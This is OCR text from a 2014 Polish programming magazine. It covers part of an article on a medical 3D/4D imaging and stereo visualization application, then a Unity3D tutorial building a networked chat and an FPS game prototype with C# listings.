płytką głębią ostrości, w których ostrość ustawiana była ręcznie na różne od-
ległości od obiektywu. Efektem było zdjęcie ze znacznie większą głębią ostro-
ści, mapa głębokości (podobna do tej z sensorów Kinect firmy Microsoft) oraz 
prosta rekonstrukcja 3D.

Kolejnym wyzwaniem były dane 4D – tym razem czwarty wymiar ozna-

czał czas (w porównaniu z wspomnianym wcześniej 2.5D, 4D wydaje się być 
bardziej intuicyjne) Tym razem chodziło o dane pochodzące z ultrasonografu 
potrafiącego pozyskać kilkanaście klatek trójwymiarowych obrazujących cykl 
pracy bijącego serca. Takie dane stanowiły spore wyzwanie. Po pierwsze, pro-
blemem był standard DICOM, w którym zostały zapisane dane. Standard do 
chwili obecnej tak naprawdę wspiera jedynie zapis danych 2D. Każdy przekrój 
zapisywany jest w osobnym pliku, a interpretacja wolumetryczna pozostaje 
do opracowania przez programistę. Mimo iż istnieje tzw. DICOMDIR, który 
pozwala na odzyskanie opisu, jakie pliki należą do jakiej rekonstrukcji, to w 
wielu przypadkach są to dane bezużyteczne – nie pozwalają na prawidłową 
rekonstrukcję. W wielu programach do przetwarzania i wizualizacji danych 
medycznych 3D zrezygnowano z interpretowania zawartości DICOMDIR. 
Dodatkowo, wszystko, czego nie można zapisać w standardzie DICOM, pro-
ducenci sprzętu umieszczają w tzw. tagach prywatnych. Stanowi to niestety 
duże pole do nadużyć, dane zapisywane są tak, że informacje niezbędne do 
przygotowania przestrzennej rekonstrukcji umieszczane są w tych nieopisa-
nych nigdzie tagach. W przypadku danych 4D sytuacja jest jeszcze ciekawsza, 
dane umieszczane są zazwyczaj w jednym pliku, gdzie informacje obrazowe, 
które odczyta większość przeglądarek DICOM, pokazuje jeden zrzut ekranu 
prezentujący wizualizowany obiekt, natomiast prawdziwe dane obrazowe 
zawarte są w sekcji prywatnej. W przypadku urządzenia, z którym pracowa-
łem, udało mi się wydobyć potrzebne dane: rozmiar klatki 3D, ich ilość oraz 
rozmiar woksela i krok czasowy. Pozostało tylko odpowiednio umieścić i 

obsłużyć takie dane w mojej aplikacji. Pomysł okazał się bardzo prosty i sku-
teczny – każda klatka 3D została zapisana jako osobny zbiór RawData. Klasa 
bazowa została rozszerzona o możliwość reprezentowania klatki czasowej z 
danej serii. W projekcie tym dane czasowe poszczególnych klatek zostały do-
pasowane geometrycznie do klatki zerowej, wykorzystując nieliniowy model 
przekształcenia FFD (ang. Free Form Deformation). Następnie wydobyta geo-
metria lewej komory serca została poddana pozyskanemu polu deformacji 
czasowej, na podstawie czego zrekonstruowany został ruch w postaci zmie-
niającej kształt siatki trójkątnej. Wynik prezentowany był zarówno w wersji 
wolumetrycznej, jak i siatki powierzchniowej (Rysunek 6). Zmieniająca się w 
czasie siatka była reprezentowana również jako zestaw siatek odpowiadają-
cych chwilom czasowym. Ze względu na fakt łatwej interpolacji deformacji 
pomiędzy klatkami, generowany był wynik dla dwukrotnie większej ilości kla-
tek, co pozwoliło uzyskać znacznie płynniejszą animację. Animacja polegała 
na cyklicznym pokazywaniu kolejnych siatek 3D.

Bardzo interesujące wyzwanie pojawiło się przed platformą, gdy zaczęliśmy 

wspólnie z doktorantem mgr Andrzejem Rutkowskim pracować z technologią 
stereowizji. Aplikacja działała w 3D, wykorzystując bibliotekę VTK, która z kolei 
pracowała w oparciu o OpenGL wspierający tryby wyświetlania stereo (wy-
świetlanie osobnych obrazów w dwóch viewportach). Podczas prac wstępnych 
pojawiły się dwa problemy – pierwszy techniczny, drugi koncepcyjny. Pierwszy 
dotyczył przełączenia aplikacji w tryb stereo – polegającym na generowaniu 
odpowiedniego obrazu dla lewego i prawego oka. Mimo moich usilnych prób 
jedynym trybem, który chciał działać, był tryb anaglyph, wymagający użycia 
okularów dwukolorowych i dających słabą jakość obrazu. Wykorzystywany 
przeze mnie monitor wspierał technologię polaryzacyjną, dla której obraz po-
winien być generowany – dla lewego oka na lewej połówce obrazu, dla prawe-
go na prawej. Takiego trybu jak się okazało nie wspierała moja karta graficz-
na. Wymagany był tryb „quad buffer” wspierany w kartach NVIDIA Quadro, ja 
natomiast miałem na pokładzie swojego peceta kartę NVIDIA GeForce, która 

Rysunek 5. Stabilizacja animacji przy wykorzystaniu dopasowywania danych i rekonstrukcji 3D. Rysunek zawiera nałożone klatki ruchu przed i po stabilizacji

Rysunek 6. Rekonstrukcja pracy serca na podstawie echokardiografii 4D

background image

30

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GRAFIKI

nie była przez „quad buffer” obsługiwana. Po chwili zabawy z trybem anaglyph 
doszedłem do wniosku, że i tak nie chciałbym używać wizualizacji stereo w 
taki sposób. Interfejs użytkownika, który pozostał dwuwymiarowy, mieszał 
się z głębią obrazu 3D. Powstała nowa koncepcja – wygenerowania specjalne-
go okna dla monitora 3D bez GUI. Główne okno aplikacji, na której pracował 
użytkownik, pozostało bez zmian i było wyświetlane na monitorze podstawo-
wym. Drugie okno w postaci pełnoekranowej wyświetlane było na monitorze 
3D. Aplikacja po przełączeniu w tryb stereo generowała obraz 3D dla lewego 
oka (pokazywany na głównym monitorze), a w tle w drugim buforze genero-
wała obraz dla oka prawego, który nigdy nie był pokazywany użytkownikowi 
na ekranie głównym. Obie wersje były grabowane (tj. kopiowane z aktualnie 
nieaktywnego bufora ramki w technice podwójnego buforowania) i przy wy-
korzystaniu kodu OpenGL teksturowały odpowiednią połówkę okna monitora 
3D. Zalet takiego rozwiązania było kilka. Korzystanie z niego było bardzo wy-
godne – prezentacja na monitorze 3D dedykowana była dla odbiorców, nato-
miast operator aplikacji widział pełne GUI. Generowany obraz stereo nie zależał 
zbytnio od posiadanej karty graficznej – musiała być jedynie „przyzwoita". Co 
ciekawe, bardzo proste okazało się wykorzystanie rzutnika stereo składające-
go się z pary bardzo jasnych rzutników (technologia polaryzacyjna). Komputer 
musiał posiadać 2 karty graficzne, z których jedna generowała obraz dla moni-
tora operatora, natomiast druga obsługiwała dwumonitorowy ekran, na który 
rozciągane było okno stereo. Dodatkowo wprowadziliśmy możliwość sterowa-
nia interakcją 3D za pomocą sensora Kinect. Wówczas elementy interaktywne-
go menu dla stojącego przed ekranem użytkownika generowane były jako ele-
menty 2D wyświetlane na oknie stereo. Dodatkowe informacje nie zaśmiecały 
obsługi okna głównego, co stanowiło duży atut. Dla zwiększenia poczucia głębi 
aplikacja dawała możliwość wykorzystania skyboxa z nałożonymi teksturami 
imitującymi dowolne otoczenie.

Obrazowanie  medyczne  3D  można  podzielić  na  metody  renderingu  obję-
tościowego  lub  inaczej  wolumetrycznego  (ang.  volume  rendering)  oraz  po-
wierzchniowego (ang. surface rendering). Pierwsza metoda do niedawna wy-
magała specjalnego sprzętu dedykowanego (np. karta VolumePro), jednakże 
rozwój  technologii  i  algorytmów  pozwala  obecnie  cieszyć  się  tym  typem 
obrazowania przy wykorzystaniu typowych kart graficznych. Rendering wolu-
metryczny pozwala na wizualizację wnętrza danych bez dodatkowej obróbki, 
wystarczy zdefiniować np. funkcję przezroczystości i metodę renderingu (np. 
w bibliotece VTK). Z kolei rendering powierzchniowy wymaga przetworzenia 
wstępnego  (filtrowania,  segmentacji/wyboru  progu  i  wygenerowania  siatki 
–  np.  trójkątnej  –  reprezentującej  powierzchnię  danej  struktury).  Dzisiejsze 
karty graficzne umożliwiają zaawansowane cieniowanie i teksturowanie ta-
kich siatek, co pozwala uzyskiwać bardzo atrakcyjne obrazy wynikowe. Pod-
czas  pracy  ze  zbiorami  medycznymi  3D  wykorzystuje  się  miksowanie  obu 
technik, gdzie obiekty siatkowe zanurza się w wolumetrycznej „chmurze”. 

Pobieżnie opisane w niniejszym artykule problemy dotyczyły w głównej mie-
rze nowych danych, z którymi spotykałem się podczas pracy nad rozwojem 
aplikacji. Modyfikacji i ciekawych problemów programistycznych było bardzo 
wiele, jednakże jak do tej pory nie natrafiłem na temat, który spowodowałby 
konieczność tworzenia zupełnie nowej aplikacji. Aplikacja wchodzi obecnie w 
fazę współpracy z oprogramowaniem rozszerzonej rzeczywistości (Oculus Rift), 
nadal wspierając nowe pomysły i problemy dotyczące filtrowania, segmentacji, 
wizualizacji i analizy danych medycznych (i nie tylko) 2D, 2.5D, 3D oraz 4D. 

Rysunek 7. Wizualizacja stereo połączona wraz z menu interakcji

W sieci

 

P

http://www.nlm.nih.gov/research/visible/visible_human.html

 – VHP

 

P

http://www.vtk.org/

 – strona darmowej platformy VTK

 

P

http://qt.digia.com/

 – strona biblioteki QT

 

P

http://en.wikipedia.org/wiki/DICOM

 – opis formatu DICOM

 

P

http://en.wikipedia.org/wiki/Volume_rendering

 – rendering przestrzenny

 

P

https://www.youtube.com/user/vizemlab

 – przykładowe projekty

Michał Chlebiej

Dr informatyki i mgr fizyki komputerowej, zajmujący się na co dzień obrazowaniem medycznym 
od strony programistycznej na Wydziale Matematyki i Informatyki Uniwersytetu Mikołaja Koper-
nika w Toruniu. Przygodę z programowaniem zaczął od komputera Timex 2048. Szczególną więź 
czuje z komputerami Amiga, które odegrały znaczącą rolę w rozwoju grafiki komputerowej.

background image
background image

32

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GIER

Marek Sawerwain

KOMUNIKATOR SIECIOWY

Pierwszy przykład, jaki zrealizujemy, będzie nieskomplikowanym komunikato-
rem sieciowym, za pomocą którego przesyłane będą komunikaty tekstowe do 
wszystkich osób podłączonych do głównego serwera naszego komunikatora.

Unity3D pozwala w dość prosty sposób zrealizować taki projekt i, co war-

to podkreślić, nie ma potrzeby sięgania do podstawowych elementów pro-
gramowania sieciowego, nie będziemy np. posługiwać się gniazdkami TCP/IP 
czy też implementować procedur opartych o wątki, gdzie należałoby odbie-
rać oraz przetwarzać otrzymane dane.

Wykorzystywać natomiast będziemy wysokopoziomowe rozwiązania 

oraz gotowe komponenty, jakie oferuje Unity3D. Dlatego, aby rozpocząć 
pracę nad pierwszym przykładem, wystarczy zainstalować darmową wersję 
Unity3D (obecnie jest to wersja 4.5.1).

Po instalacji należy utworzyć nowy projekt, nie musimy importować żad-

nych dodatkowych zasobów, bowiem wykorzystamy tylko dostępne w Uni-
ty3D elementy do budowy interfejsu użytkownika. Należy utworzyć też nową 
scenę i zapisać np. pod nazwą 

SceneZero.

Tworzymy tylko dwa elementy: jest to kamera (która zazwyczaj jest już 

utworzona) oraz pusty obiekt typu 

GameObject (należy z menu Game Object 

wybrać opcję Create Empty albo posłużyć się skrótem klawiszowym Ctrl-Shift-N). 
Warto zmienić nazwę nowo utworzonego obiektu np. na 

LogicInGame. Zgod-

nie ze swoją nazwą ten skrypt pełni główną rolę w naszym zadaniu.

Do obiektu 

LogicInGame należy podłączyć dwa dodatkowe kompo-

nenty. Pierwszy z nich to skrypt, np. o nazwie 

NetworkCode. Będziemy pisać 

ten skrypt w języku C#, ale może to też być JavaScript lub Boo. Skrypt ten na 
początku może być pusty, tj. utworzony przez środowisko Unity3D, i od razu 
podłączony do naszego obiektu głównego.

Drugim komponentem, jaki dodamy do głównego obiektu, jest kompo-

nent 

Network View. To za pomocą tego obiektu będą przesyłane informacje 

pomiędzy serwerem a podłączonymi graczami. Aktualnie nie musimy zmie-
niać żadnych własności w komponencie 

Network View, choć warto spraw-

dzić własność 

State Synchronization. Własność ta przyjmuje trzy stany: 

pierwszy 

Off, oznaczający, iż nie będą przesyłane żadne informacje o stanie 

obiektu. Naturalnie, nas nie interesuje taka sytuacja, bowiem chcemy, aby in-
formacje były przesyłane. Aby tak się stało, należy wybrać stan 

Unreliable, 

oznaczający, iż zawsze będzie przesyłany komplet informacji. Trzecia możli-
wość to  

Reliable Delta Compressed. Jest to najlepszy wybór, bowiem 

oznacza większą oszczędność w przesyłaniu danych, gdyż przesyłane są tylko 
te informacje, które zmieniły swoją wartość (np. jeśli obiekt pozostaje w tym 
samym miejscu, to informacje o pozycji obiektu nie zostaną przesłane).

Główne zadanie do zrealizowania to napisanie skryptu, który będzie obsługiwał 

przesyłanie komunikatów. Pełny kod źródłowy tego skryptu przedstawia Listing 1.

Zaczynamy od deklaracji trzech podstawowych zmiennych. Pierwsza ze 

zmiennych reprezentuje adres IP serwera, druga numer portu, a trzecia mak-
symalną liczbę połączeń, jaka będzie obsługiwana przez nasz serwer:

public

 

string

 connectionIP = 

"127.0.0.1"

;

public

 

int

 connectionPort = 25001;

public

 

int

 maxConnections = 15;

Rysunek 1.Projekt przekazywania komunikatów tekstowych za pomocą Unity3D

Potrzebna będzie jeszcze zmienna 

messages, w której przechowywać bę-

dziemy wszystkie odebrane wiadomości. Wykorzystamy dostępny typ 

Ar-

rayList, który uprości operację przeglądania, odczytywania listy otrzy-
manych wiadomości czy dodawanie do istniejącej listy nowej wiadomości. 
Zdefiniujemy też pomocniczą zmienną 

scrollView oraz zmienną typu 

string o nazwie message, gdzie będziemy przechowywać wiadomość tek-
stową, którą mamy zamiar przesłać do pozostałych klientów podłączonych 
do serwera. Powyższe trzy zmienne deklarujemy w następujący sposób:

private

 

static

 

ArrayList

 messages = 

new

 

ArrayList

();

private

 Vector2 scrollView = Vector2.zero;

private

 

string

 message;

W skrypcie mamy też kilka metod niezbędnych, aby zrealizować nasze za-
danie. W metodzie 

Start, uruchamianej w momencie kreacji obiektu głów-

nego w środowisku gry, wykonujemy tylko jedną czynność: do zmiennej 
message wpisujemy pusty ciąg znaków. Najważniejsze zadania wykonu-
je metoda 

OnGUI, w której to będziemy wyświetlać podstawowe menu. W 

menu użytkownik będzie decydował, czy nasza aplikacja ma zostać urucho-
miona jako  serwer, czy też ma pełnić rolę klienta. Istotną rolę pełni metoda 
ReceiveMessage. Przed nagłówkiem tej metody umieszczono dodatkowy 
atrybut 

RPC, oznaczający, iż metoda ta może zostać wywołana zdalnie po-

przeć sieć. Wywołanie może zostać zlecone przez serwer, ale także przez każ-
dego z klientów podłączonych do serwera. Możliwość zdalnego wywołania 
metody bardzo upraszcza zadania, jakie napotyka się w grach pracujących w 
środowisku sieciowym.

Listing 1. Skrypt do obsługi procesu przesyłania komunikatów tekstowych

using

 UnityEngine;

using

 System.Collections;

public

 

class

 

NetworkCode

 : MonoBehaviour {

public

 

string

 connectionIP = 

"127.0.0.1"

;

public

 

int

 connectionPort = 25001;

public

 

int

 maxConnections = 15;

Unity3D – prototyp gry sieciowej

Na popularność środowiska Unity3D składa się kilka elementów, ale z pewnością 
jednym z nich jest dość przystępne API, które upraszcza typowe zadania, jakie na-
potyka się, tworząc aplikacje oparte o grafikę 3D. To nie wszystko; interfejs pro-
gramistyczny do obsługi komunikacji w sieci również został uproszczony. Autorzy 
Unity3D przygotowali bowiem bardzo przystępny zestaw klas, który pozwala sto-
sunkowo szybko zrealizować prototyp gry sieciowej, np. typu FPS.

background image

33

/ www.programistamag.pl /

UNITY3D – PROTOTYP GRY SIECIOWEJ

private

 

static

 

ArrayList

 messages = 

new

 

ArrayList

();

private

 Vector2 scrollView = Vector2.zero;

private

 

string

 message;

void

 Start () {

message = 

""

 ;

}

void

 OnGUI() {

if

 (Network.peerType == NetworkPeerType.Disconnected) {

GUI.Label(

new

 Rect(10, 10, 200, 20), 

"Status: Disconnected"

);

if

 (GUI.Button(

new

 Rect(10, 30, 120, 20), 

"Client Connect"

)) {

Network.Connect(connectionIP, connectionPort);

}

if

 (GUI.Button(

new

 Rect(10, 50, 120, 20), 

"Initialize Server"

)) {

Network.InitializeServer(maxConnections, connectionPort, 

false

);

}

}

if

 (Network.peerType == NetworkPeerType.Server) {

GUI.Label(

new

 Rect(10, 10, 200, 20), 

"Run as server"

);

}

if

 (Network.peerType == NetworkPeerType.Client) {

GUI.Label(

new

 Rect(10, 10, 300, 20), 

"Status: Connected as 

Client"

);

if

 (GUI.Button(

new

 Rect(10, 30, 120, 20), 

"Disconnect"

)) {

Network.Disconnect(200);

}

message = GUI.TextField(

new

 Rect(0, 100, 150, 25), message);

if

 (GUI.Button(

new

 Rect(150, 200, 50, 25), 

"Send"

)) {

networkView.RPC(

"ReceiveMessage"

, RPCMode.All, message);

message = 

""

;

}

}

GUILayout.BeginArea(

new

 Rect(0 , 120 , 400 , 200));

scrollView = GUILayout.BeginScrollView(scrollView);

foreach

(

string

 c 

in

 messages) {

GUILayout.Label(c);

}

GUILayout.EndArea();

GUILayout.EndScrollView();

}

[RPC]

private

 

void

 ReciveMessage(

string

 sentMess) {

messages.Add(sentMess);

}

}

PRZESYŁANIE KOMUNIKATÓW

Wszystkie zadania związane z komunikatami również realizujemy za pomo-
cą kodu w 

OnGUI. W metodzie tej można wyróżnić cztery główne fragmenty. 

Pierwszy fragment odnosi się do instrukcji warunkowej o postaci:

if

 (Network.peerType == NetworkPeerType.Disconnected)

{   }

Wykrywa ona sytuację, jaka pojawia się po uruchomieniu aplikacji. Tuż po 
starcie nie wiadomo bowiem jeszcze, czy uruchomiony program będzie pełnił 
rolę serwera, czy też klienta. Ogólnie program w tym momencie nie jest pod-
łączony do sieci, co jak widać powyżej łatwo sprawdzić, odczytując wartość 
pola 

peerType. Możliwe jest też skorzystanie z pól isClient, isServer.

Dlatego, korzystając z podstawowych elementów GUI, tworzymy dwa 

przyciski odpowiadające za podłączenie do uruchomionego serwera oraz za 
utworzenie serwera. Dzięki Unity3D uruchomienie serwera sprowadza się do 
jednej linii kodu:

Network.InitializeServer(maxConnections, connectionPort, 

false

);

gdzie pierwszy argument to maksymalna liczba połączeń do serwera, drugi 
parametr to numer portu, na którym będzie nasłuchiwał serwer, oraz trzeci 

parametr, który dotyczy NAT, tj. czy ma być stosowana translacja adresów sie-
ciowych (NAT - Network Address Translation).

Natomiast jako klient podajemy adres serwera oraz numer portu:

Network.Connect(connectionIP, connectionPort);

Kolejne dwie instrukcje sprawdzają, czy działamy jako serwer 

Network. 

peerType == NetworkPeerType.Server. Jeśli tak, to w kodzie nie mu-
simy wykonywać żadnych dodatkowych czynności, ograniczamy się do wy-
świetlenia tekstu za pomocą 

GUI.Label.

Jeśli jednak program jest klientem 

Network.peerType == Network-

PeerType.Client, to, podobnie jak w przypadku serwera, pokazujemy 
etykietę tekstową z odpowiednią informacją. Dodatkowo dodajemy przycisk 
do rozłączenia. Czynność odłączenia klienta ponownie można zrealizować za 
pomocą jednej linii kodu:

Network.Disconnect(200);

Parametr metody 

Disconnect to wartość w milisekundach, tzw. timeout, 

czyli czasu, jaki został przydzielony do poinformowania serwera (oraz pozo-
stałych klientów), że określony klient zostanie odłączony od serwera.

Kolejny element w obsłudze klienta to umieszczenie pola tekstowego:

message = GUI.TextField(

new

 Rect(0, 100, 150, 25), message);

Wykorzystujemy zmienną 

message, aby podać wartość, jaka ma zostać wy-

świetlona w polu, oraz do tej samej zmiennej zostanie wpisany ciąg znakowy 
podany przez użytkownika. Jednak najważniejsza czynność to przesłanie ko-
munikatu, ale to także można zrealizować za pomocą jednej linii kodu:

networkView.RPC(

"ReceiveMessage"

, RPCMode.All, message);

Oznacza ona, iż klient zleca zdalne wykonanie metody o nazwie 

Receive-

Message serwerowi oraz innym klientom, którzy są podłączeni do tego sa-
mego serwera (opisuje to stała 

RPCMode.All). Treść wiadomości to oczywi-

ście zmienna 

message.

Pozostała część kodu w metodzie 

OnGUI jest odpowiedzialna za wyświe-

tlenie otrzymanych komunikatów przechowywanych w zmiennej 

messages. 

Łatwo to zrobić za pomocą 

foreach, co znajduje potwierdzenie na kodzie 

źródłowym.

W kodzie obsługującym przesyłanie komunikatów pozostała już tylko jed-

na metoda 

ReceiveMessage, której zadaniem jest odbiór komunikatów. Z 

tego powodu posiada parametr 

sentMess, który zawierać będzie komunikat 

wpisany przez użytkownika. Jej kod to tylko jedna linia, bowiem otrzymaną 
wartość tekstową umieszczamy w zmiennej 

messages:

messages.Add(sentMess);

Ostatni element związany z naszym pierwszym przykładem to jego testo-
wanie. Ponieważ nie można uruchomić dwóch kopii środowiska Unity3D, 
to należy zbudować wersję binarną naszego przykładu. Wykonamy to za 
pomocą opcji Build z menu File (Rysunek 2). Należy jednak wykonać dwie 
dodatkowe czynności. Po pierwsze, naszą scenę o nazwie 

SceneZero na-

leży dodać do listy 

Scenes in Build za pomocą przycisku Add current. 

Następnie należy zaznaczyć opcję 

Run  In  Background w opcjach, ja-

kie ukrywają się pod przyciskiem 

Player  Settings. Opcja Run  In 

Background oznacza, że jeśli aplikacja nie będzie aktywna (np. przesło-
nięta przez okno innej aplikacji), tj. umieszczona w tle, to nadal będzie 
aktywnie przetwarzać wszystkie zdarzenia. Jest to kluczowy element w 
przypadku serwera, jeśli będzie testować aplikację na jednym kompute-
rze. Warto też „schować” okno wyboru rozdzielczości, jakie Unity3D po-
kazuje w momencie uruchomienia aplikacji, oraz wyłączyć tryb pełnego 
ekranu i uruchamiać aplikację w oknie.

background image

34

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GIER

Rysunek 2. Budowa aplikacji binarnej oraz parametry aplikacji

SIEĆ I GRA W STYLU FPS

Drugi przykład pozwoli lepiej poznać podstawowe możliwości sieciowe w 
przypadku gier FPS, ale i też zademonstrować problemy z synchronizacją, na 
jakie napotykamy, tworząc tego typu oprogramowanie.

Analogiczne jak poprzednio, należy utworzyć nowy projekt oraz przynaj-

mniej jedną scenę. W przykładzie umieścimy tylko dwa główne obiekty: jeden 
o nazwie 

Arena, który będzie zawierać wszystkie elementy naszego obszaru, 

gdzie toczy się nasza gra. Może to być obszar w postaci obiektu 

terrain, a 

także inne obiekty 3D, z których będziemy budować obszar naszej gry, np. 
światła. Drugim istotnym obiektem będzie 

SpawnPoint, każdy gracz, który 

podłączy się do naszej gry, będzie ją rozpoczynał w punkcie o tej nazwie. Do 
tego obiektu podobnie jak poprzednio podłączono skrypt z klasą 

Network-

Logic. Podłączona zostanie także kamera, choć nie jest ona potrzebna. Po 
zalogowaniu się do gry kamera podłączona do punktu 

SpawnPoint zostanie 

wyłączona, a włączymy kamerę gracza.

Jak widać, nie został wymieniony obiekt gracza, ponieważ będzie on dyna-

micznie tworzony po utworzeniu bądź zalogowaniu się graczy na serwer. Nale-
ży jednak utworzyć taki obiekt, może to być zwykły sześcian, bądź też kapsuła. 
Można też wykorzystać gotowe rozwiązania z pakietu Character Controller. 
Choć jak się okaże będzie on też niestety źródłem pewnych problemów (ale 
uda się je przezwyciężyć za pomocą jednej czy też góra dwóch linii kodu).

Utworzony obiekt reprezentujący postać gracza (w naszym przypadku 

będzie to obiekt o nazwie 

FPSPlayer) należy zamienić na tzw. obiekt pre-

fab, np. poprzez proste przeciągnięcie obiektu z okna Hierarchii do okna 
Project. Do obiektu 

prefab należy też dodać komponent o nazwie Network 

View. Należy też upewnić się, czy własność Observed zawiera odwołanie do 
typu 

FPSPlayer. 

KLIENT I SERWER

Pozostałe czynności związane z naszym prototypem gry w stylu FPS są reali-
zowane przez skrypt 

NetworkLogic podłączony do obiektu SpawnPoint. 

Początkowo postępujemy podobnie jak poprzednio, tworzymy dwa przyciski, 
gdzie podłączamy się do gry jako klient, oraz tworzony jest serwer. Fragment 
kodu odpowiedzialny za nasze proste menu został umieszczony w metodzie 
OnGUI, i jest identyczny jak w naszym komunikatorze z pierwszego przykła-
du, choć, co naturalne, usunięto kod odnoszący się do wyświetlania otrzyma-
nych komunikatów tekstowych.

Mamy jednak kilka dodatkowych metod. Pierwsza z nich: 

OnServerIni-

tialized, jest wywoływana w momencie, gdy utworzony został serwer. Jeśli 
tak się stało, to należy utworzyć obiekt gracza, który będzie funkcjonował na 
serwerze. Druga z metod – 

OnConnectedToServer – zgodnie ze swoją na-

zwą zostanie uruchomiona, gdy jako klient uzyskamy połączenie z serwerem. 
W takim przypadku również należy utworzy obiekt gracza. W obu przypad-

kach wywoływana jest metoda 

CreatePlayer, która utworzy obiekt gracza 

na serwerze oraz na wszystkich podłączonych do serwera klientach.

Metoda 

CreatePlayer (jej kod jest umieszczony na Listingu 2) wykonu-

je tworzenie obiektu gracza za pomocą 

Network.Instantiate:

var g = (GameObject)Network.Instantiate(PlayerPrefab, transform.

position, transform.rotation, groupID);

gdzie pierwszy obiekt to typ reprezentujący gracza, czyli obiekt prefab utwo-
rzony wcześniej. Skrypt 

NetworkLogic posiada publiczne pole Player Pre-

fab wymagające inicjalizacji obiektem FSPPlayer. Tę czynność trzeba wyko-
nać, tworząc obiekt 

SpawnPoint i podłączając skrypt NetworkLogic. Jednak 

sprowadza się to tylko do przesunięcia myszą obiektu 

FSPPlayer z okna Pro-

ject do pola 

Player Prefab w oknie Inspector, co widać także na Rysunku 3.

Rysunek 3. Projekt naszego prototypu FPS i właściwości obiektu SpawnPoint

Druga czynność wykonywana w metodzie 

CreatePlayer to przełączenie 

kamery z punktu 

SpawnPoint do lokalnej kamery gracza, co polega na od-

szukaniu komponentu kamery w obiekcie 

FPSPlayer:

var

 obj = g.GetComponentInChildren<Camera>();

A następnie włączamy kamerę gracza i wyłączamy kamerę z punktu 

SpawnPoint:

obj.camera.enabled = 

true

;

camera.enabled = 

false

;

Nie trzeba odszukiwać kamery z punktu 

SpawnPoint, ponieważ nasz skrypt 

NetworkLogic przynależy do obiektu SpawnPoint i wobec tego ma bezpo-
średni dostęp do obiektu kamery.

Do omówienia pozostała jeszcze trzecia metoda o nazwie 

OnPlayer-

Disconnected. Jej wywołanie następuje w przypadku, gdy jeden z podłą-
czonych do serwera graczy odłączy się od serwera. Należy obiekt gracza usu-
nąć z gry za pomocą metody 

DestroyPlayerObject:

Network.DestroyPlayerObjects( player );

Można w tym momencie uruchomić nasz prototyp. Podobnie jak poprzednio 
budujemy wersję binarną, uruchamiamy zewnętrzny program w trybie ser-
wera. Klientem może być Unity3D, ale natychmiast zaobserwujemy dziwne 
zachowanie się graczy. Wygląda to bowiem tak, iż każdy gracz steruje innymi 
graczami. Aby to naprawić, należy przejść do skryptu FPSInputController.js
jaki znajduje się w pakiecie Character Controller. W metodzie 

Update należy 

na samym początku dopisać dwie linie kodu (albo jedną, jeśli lubimy umiesz-
czać słowo kluczowe 

return w tej samej linii co słowo if):

if( !networkView.isMine )

return;

background image

35

/ www.programistamag.pl /

UNITY3D – PROTOTYP GRY SIECIOWEJ

Powyższa linia kodu zapewnia nas, że informacje o wciśniętych klawiszach, 

które są przetwarzane przez pozostałe skrypty obiektu 

FPSPlayer, będą 

przesyłane tylko do właściciela obiektu 

networkView. Inaczej mówiąc, lokal-

ny klient (a także serwer) nie będzie przekazywał informacji np. o spacji, któ-
ra oznacza skok gracza, do pozostałych obiektów graczy. Bez tej linii  każdy z 
obiektów graczy otrzymywał informacje o wciśniętych klawiszach, a następnie 
poprzez sieć otrzymywano informacje o przesunięciu się obiektów, co powo-
dowało dziwne zachowanie się wszystkich obiektów znajdujących się w grze. 
Choć z drugiej strony wiadomo już, że można w ten sposób na odległość ste-
rować zachowaniem się innych obiektów, co może się przydać w przyszłości.

Niestety, nie eliminuje to opóźnienia sieci i tzw. „drgania” obiektów gra-

czy, gdy porusza się gracz lokalny oraz gracze sieciowi. Efekt ten zobaczymy, 
nawet jeśli serwer i klient jest uruchomiony na tej samej maszynie. Aby to 
poprawić, trzeba wprowadzić dodatkowe mechanizmy, które przedstawimy 
w następnym punkcie.

Listing 2. Skrypt do obsługi sieci w prototypie gry typu FPS

using

 UnityEngine;

using

 System.Collections;

public

 

class

 

NetworkLogic

 : MonoBehaviour {

public

 GameObject PlayerPrefab;

public

 

string

 connectionIP = 

"127.0.0.1"

;

public

 

int

 connectionPort = 25001;

public

 

int

 maxConnections = 15;

public

 

bool

 playerConnected;

private

 

int

 groupID = 1;

void

 Start () {

playerConnected = 

false

;

}

void

 CreateNetworkPlayer() {

playerConnected = 

true

;

var

 g = (GameObject)Network.Instantiate(PlayerPrefab, 

transform.position, transform.rotation, groupID);

var

 obj = g.GetComponentInChildren<Camera>();

obj.camera.enabled = 

true

;

camera.enabled = 

false

;

}

void

 OnDisconnectedFromServer() {

playerConnected = 

false

;

}

void

 OnPlayerDisconnected(NetworkPlayer player) {

Network.DestroyPlayerObjects( player );

}

void

 OnConnectedToServer() {

CreateNetworkPlayer();

}

void

 OnServerInitialized() {

CreateNetworkPlayer();

}

void

 OnGUI () {

if

 (Network.peerType == NetworkPeerType.Disconnected) {

GUI.Label(

new

 Rect(10, 10, 200, 20), 

"Status: Disconnected"

);

if

 (GUI.Button(

new

 Rect(10, 30, 120, 20), 

"Connect as 

client"

)) {

Network.Connect(connectionIP, connectionPort);

}

if

 (GUI.Button(

new

 Rect(10, 50, 120, 20), 

"Initialize 

Server"

)) {

Network.InitializeServer(maxConnections, connectionPort, 

false

);

}

}

if

 (Network.peerType == NetworkPeerType.Server) {

GUI.Label(

new

 Rect(10, 10, 200, 20), 

"Status: Run as 

server"

);

}

if

 (Network.peerType == NetworkPeerType.Client) {

GUI.Label(

new

 Rect(10, 10, 300, 20), 

"Status: Connected as 

Client"

);

playerConnected = 

true

;

if

 (GUI.Button(

new

 Rect(10, 30, 120, 20), 

"Disconnect"

)) {

Network.Disconnect(200);

}

}

}

}

Nowości w Unity3D

Aktualna wersja w momencie tworzenia tego artykułu nosi numer 4.5.1, 
jednak wkrótce zostanie wydana kolejna odsłona linii „4”. A niedługo po 
tym pokaże się kolejna odsłona środowiska Unity3D z numerem „5”.

Jedną z bolączek wydania „4” i starszych wersji był system GUI, a dokład-

nie sposób jego budowy. Nie można było budować GUI za pomocą myszy, 
jak to jest w wielu narzędziach, do budowy interfejsu użytkownika np. w śro-
dowiskach komercyjnych typu RAD Studio czy Visual Studio, czy też darmo-
wym programie Sharp Develop. Kolejne wydanie w linii „4” ma przynieść po-
prawę obsługi GUI i umożliwić łatwiejsze tworzenie interfejsu graficznego.

Więcej nowości zaoferuje jednak wydanie „5”. Oprócz poprawy jakości gra-

fiki, dzięki wprowadzeniu tzw. shaderów fizycznych, uwzględniających lepszy 
model  oświetlenia  oraz  materiałów,  duże  zmiany  czekają  także  w  systemie 
